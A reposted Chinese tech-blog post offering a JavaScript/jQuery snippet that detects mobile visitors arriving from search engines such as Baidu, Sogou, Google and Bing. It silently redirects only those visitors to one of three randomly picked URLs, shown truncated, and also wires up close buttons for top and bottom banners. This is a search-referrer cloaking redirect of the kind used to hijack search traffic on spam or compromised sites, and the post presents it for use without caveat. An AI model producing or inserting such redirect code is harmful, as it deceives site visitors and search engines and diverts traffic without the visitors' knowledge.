js判断搜索引擎代码,然后进行调整代码

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/my773962804/article/details/78651348
//检测是否移动设备来访
function browserRedirect() { 
	var sUserAgent= navigator.userAgent.toLowerCase(); 
	var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; 
	var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; 
	var bIsMidp= sUserAgent.match(/midp/i) == "midp"; 
	var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; 
	var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; 
	var bIsAndroid= sUserAgent.match(/android/i) == "android"; 
	var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; 
	var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; 
	if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { 
		return true;
	} else { 
		return false;
	} 
}
if (browserRedirect()){
var regexp=/\.(sogou|soso|baidu|google|youdao|yahoo|bing|118114|biso|gougou|ifeng|ivc|sooule|niuhu|biso|so|haosou|sm)(\.[a-z0-9\-]+){1,2}\//ig;
var where =document.referrer;
if(regexp.test(where))
{
var num =parseInt((3)*Math.random()+1);

if(num ==1){
window.location.href="http://o";
}else if( num==2){
window.location = "http://www.";
}else{
window.location.href="http://d";
}
}


$(document).ready(function(){

	$('#close1').click(function(){
		$('#close1div').hide();
	})
	$('#close2').click(function(){
		$('#close2div').hide();
	})
	
})
}

window.onload=function(){ 

var mh = $('#close1div').height();	
var mb = $('#close2div').height();	
$("body").css("margin-top",mh);
$("body").css("margin-bottom",mb);
} 

猜你喜欢

转载自blog.csdn.net/my773962804/article/details/78651348